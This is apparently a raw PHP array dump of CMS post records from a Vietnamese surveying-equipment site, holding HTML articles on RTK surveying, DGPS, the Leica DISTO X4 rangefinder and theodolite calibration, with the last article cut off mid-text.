background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66301', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68150', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-10', 'status' => '1', 'view' => '84410', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '494', 'name' => 'Cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử', 'code' => null, 'alias' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Hãy cùng chúng tôi tìm hiểu cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử nhé!</span></span>', 'content' => '<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="1bot-thuy-dai" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1.Bọt thủy dài</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt độ vuông góc trục bọt thủy dài với trục đứng của máy)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên chân và tiến hành cân máy </span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ và kiểm tra xem bọt khí có nằm đúng tâm bọt thủy không</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp bọt thủy nằm đúng vị trí, không cần hiệu chỉnh. Nếu khác đi, tiến hành hiệu chỉnh theo hướng dẫn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay vít chỉnh bọt thủy dài với tâm chính đã cung cấp kèm theo, đưa bọt khí dịch về tâm một nửa khoảng sai lệch</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Chỉnh tâm bọt khí bằng vít cân máy A</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Kiểm tra lại và hiệu chỉnh cho đến khi đạt kết quả</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinh bot thuy dai" class="wp-image-5348 size-full aligncenter" height="346" sizes="(max-width: 488px) 100vw, 488px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai-300x213.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png 488w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="488" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="2bot-thuy-tron" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Bọt thủy tròn</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trước khi tiến hành cân bằng bọt thủy tròn, kiểm tra xem có sự sai lệch của bọt khí khỏi vòng chuẩn tâm trên bọt thủy. Trường hợp không có sự sai lệch, không cần hiệu chỉnh. Nếu có sai lệch, lấy tăm chỉnh dùng tay hiệu chỉnh ba vít hiệu chỉnh đưa bọt khí về tâm.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinhbotthuytron" class="wp-image-5349 size-full aligncenter" height="344" sizes="(max-width: 493px) 100vw, 493px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1-300x209.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png 493w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="493" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="3kinh-doi-tam" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">3.Kính dọi tâm</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt thẳng hàng trục thấu kính theo phương dây dọi với trục đứng cảu thiết bị)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đăt thiết bị lên chân ( không cần cân bằng)</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt tấm vạch dấu “X” xuống đất bên dưới thiết bị</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhìn vào kính dọi tâm, chỉnh vít cân máy đưa ảnh dấu “X” vào tâm vòng 